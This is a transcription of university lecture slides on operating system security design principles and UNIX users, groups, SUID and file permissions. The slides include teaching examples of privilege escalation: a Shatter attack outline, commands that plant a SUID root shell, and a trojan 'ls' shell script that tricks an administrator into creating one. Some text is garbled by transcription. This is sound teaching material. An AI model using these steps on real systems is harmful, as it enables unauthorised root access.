INSE 6130 Operating System Security

Transcription

1 INSE 6130 Operating System Security Design Principles Prof. Lingyu Wang 1 1

2 Overview of Design Principles Design principles Time-proven guidelines For implementing security mechanisms/systems Rooted in simplicity and restriction Simplicity Less to go wrong; easier to check and use Restriction Information and privileges il 2 2

3 Overview of Design Principles Least Privilege Fail-Safe Defaults Economy of Mechanism Complete Mediation Open Design Separation of Privilege Least Common Mechanism Psychological Acceptability 3 3

4 Principle of Least Privilege A subject should be given only those information/ privileges necessary to complete its task What rights to be given, when to give/revoke Difficulties: Require fine-grained access control Lack in standard UNIX security Principle does not apply to root (UNIX) and administrator (NT) The presence of root/administrator makes hacking a lot easier RBAC/TE can help to remove such difficulties 4 4

5 Principle of Least Privilege (Example) Facts about Windows architecture/messaging No restrictions on kernel mode processes Some interactive i services run in kernel mode Any application can send messages to those services Shatter Network Associates VirusScan v4.5.1 console running on Windows 2000 Professional as LocalSystem As guest, find an edit box within the console (get the handle, remove the limit) and paste shell codes into it Send the window a WM_TIMER message with second parameter being the address of our shell codes You get a shell running as LocalSystem 5 5

6 Principle of Fail-Safe Defaults Default action is to deny access, unless access privileges are granted explicitly to a subject Closed World If action fails, it should undo the actions before it terminates Help to tolerate mistakes/faults Example: SunOS shipped with + in /etc/hosts.equiv 6 6

7 Economy of Mechanism (K.I.S.S.) Keep security mechanisms as simple as possible Simpler design has less to go wrong, is easier to understand, follow, and manage On the contrary, complex mechanisms make more assumptions, which may not hold Example: two-step user input verification Everything should be made as simple as possible, but no simpler - Albert Einstein 7 7

8 Complete Mediation Check every access don t cache or rely on previous permissions The reason for relaxing this one is efficiency Example: Race Condition/TOCTTOU bug if (access(file, R_ OK)!= 0) { } exit(1); fd = open(file, O_RDONLY); // do something with fd... point file to another file 8 8

9 Open Design Security should not depend on secrecy of design or implementation Don t depend on the ignorance of the user - Security through obscurity Question: but hiding source code does seem to make attacks harder? Example: RC4, DES, 9 9

10 Separation of Privilege/Duty Require multiple conditions/subjects to grant privilege Example: the big red nuclear button Example: TA/student Example: in certain Unix, a user is allowed to change from his account to root if (1) he knows the root password, (2) the user is in the wheel group (GID = 0) 10 10

11 Least Common Mechanism Mechanisms/resources should not be shared Shared resources provide a channel along which information can flow Example: covert channels Two processes are prohibited from communicating with each other Percent of CPU used. To send a 1 bit, the first process uses 100% of the CPU; to send a 0 bit, it uses 0% of the CPU (i.e., idle) The other process sees how much of the CPU it can get 11 11

12 Psychological Acceptability Security mechanisms should not add to the difficulty of accessing resource Hide complexity introduced by security mechanisms Otherwise users will try to get around - problem Example: SSH, SSL 12 12

13 INSE 6130 Operating System Security UNIX Security Prof. Lingyu Wang 13 13

14 Overview User and Group File System 14 14

15 UID (user ID) UNIX represents each user by a UID A 16-bit integer, from 0 to All UNIX privileges are determined by the UID (sometimes the GID), not by user name Linux Theoretically, a root whose UID is not 0 is not a root; any user whose UID is 0 is a root UIDs between 0 and 499 are reserved for system functions E.g., root, daemon, uucp, mail, news Normal users UID start from 500, automatically assigned, but can be changed by root 15 15

16 /etc/passwd The mapping between usernames and UIDs is in the file /etc/passwd, e.g., root:x:0:0:root:/root:/bin/bash 0 t t /bi /b bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync foo:x:500:500:mr. Foo:/home/foo:/bin/bash username:x:uid:gid:full name:home dir:shell A critical file in terms of security UID=

17 Users and Groups Every UNIX user belongs to one or more groups Each group also has a name and a GID GID values are also historically 16-bit integers Linux Private group: GID=CID (except some system users) Admins can create additional groups for easy access control E.g., project group A user can belong to multiple groups, but only one primary group (GID in /etc/passwd) 17 17

18 /etc/group Like /etc/passwd, but for groups root:x:0:root bin:x:1:root,bin,daemon daemon:x:2:root,bin,daemon sys:x:3:root,bin,adm adm:x:4:root,adm,daemon wheel:x:10:root,anne,chris,daniel,spanner,wojciech mail:x:12:mail foo:x:500:foo wheel group includes all admins Another critical file in terms of security wheel 18 18

19 Change Group You can switch to a group using newgrp Of which you are a member Effective until exit 19 19

20 The Superuser A special user in /etc/passwd with UID of 0, typically (but not necessarily) with the username root The superuser exerts nearly complete control over the OS Security restrictions, checks/warnings are bypassed for any program run by this user Stealing the root is the ultimate t goal of attackers 20 20

21 The Superuser (Cont d) The superuser account is not for casual use A violation of the least privilege principle Main security threat rm rf * Switch to root only when necessary using the command su (switch user) 21 21

22 Real and effective UIDs Real UID of a process UID of the user who spawns the process UID of the su ed user who spawns the process Effective UID Special SUID (explained later) process takes owner s UID E.g., root owns passwd, and only root can run passwd Each user needs to change his/her own password Set passwd as an SUID file 22 22

23 Set UID (SUID) Unprivileged users sometimes need to run tasks using superuser privileges passwd requires modifying /etc/passwd file root only How can a normal user changes own password? Run w/ the privilege of the owner of that program Non-SUID program: UID=UID of the user who runs it SUID program: Effective UID = owner s UID 23 23

24 Problems with SUID If you leave your terminal unattended, a malicious passerby can create a SUID shell % cp /bin/sh /tmp/suid-root-shell shell % chmod 4755 /tmp/ suid-root-shell suid-root-shell will run as root, no matter who runs it Find all SUID/SGID files: # find / \(-perm o -perm \) -type f -print Starts in the root directory (/) and looks for all files that match mode (SGID) or mode (SUID) The -type f option causes the search to be restricted to files The -print option causes the name of every matching file to be printed 24 24

25 Turning Off SUID While Mounting You don t want A user to mount a floppy disk containing SUID shell Mount a network file system with SUID shells You can turn off the SUID bit by specifying the nosuid option with the mount command To mount the file system athena in the /usr/athena directory on the host zeus: # /etc/mount -o nosuid zeus:/athena /usr/athena 25 25

26 Stealing Superuser! A wants root access from system admin B. A noticed that B had. at the beginning g of his search path B can set this by: PATH=.:$PATH A created an executable shell file named ls in the current directory: #!/bin/sh (#! indicates this is a shell script) cp /bin/sh./stuff/junk/.superdude (copy the shell) chmod 4555./stuff/junk/.superdude (SUID) rm -f $0 (delete this file) exec /bin/ls/l ${1+"$@"} (run the real ls) 26 26

27 Stealing Superuser! (Cont d) A then executed the following commands: % cd % chmod 700. (so B can t list unless as root) % touch./-f (so rm -f does not work) A approached B, "I have a funny file in my directory I can't seem to delete." B su to root, and goto A s directory, run ls He actually run the script ls A has created This creates a SUID shell that runs as root (no matter who runs it) 27 27

28 Restricting su On some versions of UNIX require users to be in the group wheel (GID=0) in order to su to root The /etc/group entry for wheel must be non-empty Some versions of su prompt users for their own passwords instead of root s No need to give out the superuser's password (simply put that user into the wheel group) Some versions of UNIX require that users specifically be given permission to su Like sudo (/etc/sudoers) 28 28

29 Overview User and Group File System 29 29

30 UNIX Directory Hierarchy For more details refer to:

31 The UNIX File System In UNIX, everything is a "file" including processes and network connections Directory contains file name, inode number Multiple file names can have the same inode number (links) The inode number points to an inode that contains all attributes (size, time modified, rights, etc.) except name of the file 31 31

32 The UNIX File System (Cont d) 32 32

33 I-node Details Each inode generally contains: The location of the item's contents on the disk, if any The item's type (e.g., file, directory, symbolic link) The item's size, in bytes, if applicable The time the file's inode was last modified (the ctime) The time the file's contents were last modified (the mtime) The time the file was last accessed (the atime) for read ( ), exec ( ), etc A reference count: the number of names the file has The file's owner (a UID) The file's group (a GID) The file's mode bits (also called file permissions or permission bits) 33 33

34 File Permissions File Type Contents t Meaning - Plain file d Directory c Character device (tty or printer) b Block device (usually disk or CD-ROM) l s Symbolic link (BSD or V.4) Socket (BSD or V.4) 34 34

35 Change File Permission Only owner or superuser can change chmod [-Rf] [agou][+-=][rwxst] filelist -R: recursively -f:no error reporting Whose privileges? Letter a g o u Meaning Modifies privileges for all users Modifies group privileges Modifies others' privileges Modifies the owner's privileges How to change the privileges? Symbol Meaning + Adds to the current privilege - Removes from the current privilege = Replaces the current privilege 35 35

36 Change File Permission Only owner or superuser can change chmod [-Rf] ][agou][+-=][rwxst] ] filelist Which privileges? Symbol Meaning r read w write x execution s SUID or SGID t sticky bit 36 36

37 chmod Relative Mode Add/remove a permission Everybody y in Sian s group has write permission: % ls -l notes -rw-r--r-- 1 sian biochem 4320 Feb 9 13:20 notes % chmod g+w notes % ls -l notes -rw-rw-r-- 1 sian biochem 4320 Feb 9 13:20 notes People not in her group can't readit: % chmod o-r notes % ls -l notes -rw-rw sian biochem 4320 Feb 9 13:20 notes 37 37

38 chmod Absolute Mode Specify new permissions w/ four-digit octal number For example, "-rwxr-x---" is 0750: 0400 Read by owner 0200 Write by owner 0100 Execute by owner 0040 Read by group 0010 Execute by group 0750 Result 0654 is: 6=4+2 read,write by owner 5=4+1 read/execute by group 4 read by other -rw-r-xr-- Octal Number Permission 4000 SUID 2000 SGID 1000 "Sticky bit" 0400 Read by owner 0200 Wit Write by owner 0100 Execute by owner 0040 Read by group 0020 Write by group 0010 Execute by group 38 38

39 Octal Number File Common Permission Settings Permission 0755 /bin/ls Anybody ycan copy or run the program; the file's owner can modify it 0711 $HOME A user's home directory; no other users on the system can display its contents, but can access files or subdirectories contained within the directory if they know the names of the files or directories 0700 $HOME Locks a user'ss home directory so that no other users on the system can access its contents, or the contents of any subdirectory 0600 /usr/mail/$user The user can read or write the contents of the mailbox, but no other users (except the superuser) may access it 0644 any file The file's owner can read or modify the file; everybody else can only read it 0664 groupfile The file's owner or anybody in the group can modify the file; everybody else can only read it 0666 writable Anybody ycan read or modify the file 0444 readable Anybody can read the file; only the superuser can modify it without changing the permissions 39 39

40 INSE 6130 Operating System Security Review Sample Questions, Q&A for Midterm Prof. Lingyu Wang 40 40